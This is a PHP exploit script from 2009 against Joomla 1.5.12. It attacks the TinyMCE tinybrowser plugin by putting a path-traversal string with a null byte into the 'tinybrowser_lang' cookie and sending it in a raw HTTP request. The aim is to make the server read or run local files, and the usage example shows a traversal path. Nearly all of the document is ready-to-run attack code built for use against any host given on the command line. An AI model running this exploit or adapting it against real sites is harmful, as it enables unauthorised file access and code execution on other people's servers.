<?php
/*
Copyright (c) ITIX LTD
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
TITLE: Joomla 1.5.12 read/exec remote files
AUTHOR: Nikola Petrov (vp.nikola@gmail.com)
VERSION: 1.0
LICENSE: GNU General Public License
Platform: Joomla 1.5.12
Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
Date: 27.08.2009
*/
print "\n\n#########################################################################\n";
print "# LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
print "# Date: 27.08.2009\n";
print "#########################################################################\n\n";
if($argc < 4) {
print "usage: php ". $argv[0] ." host path file [port] [debug]\n";
print "example: php ". $argv[0] ." localhost /j1512 ../../../../../../../../wamp/www/j1512/images/stories/duck.jpg 80 1\n";
exit();
}
$Host = $argv[1];
$Path = $argv[2] . '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php';
$File = $argv[3] . '%00';
empty($argv[4]) ? $Port = 80 : $Port = $argv[4];
empty($argv[5]) ? $Debug = 0 : $Debug = 1;
function HttpSend($aHost, $aPort, $aPacket) {
$Response = "";
if(!$Socket = fsockopen($aHost, $aPort)) {
print "Error connecting to $aHost:$aPort\n\n";
exit();
}
fputs($Socket, $aPacket);
while(!feof($Socket)) $Response .= fread($Socket, 1024);
fclose($Socket);
return $Response;
}
$Packet = "GET {$Path} HTTP/1.0\r\n";
$Packet .= "Host: {$Host}\r\n";
$Packet .= "Cookie: tinybrowser_lang={$File}\r\n";
$Packet .= "Connection: close\r\n\r\n";
if($Debug) {
print "Request to '$Host:$Port':\n";
print $Packet;
}
print HttpSend($Host, $Port, $Packet);
?>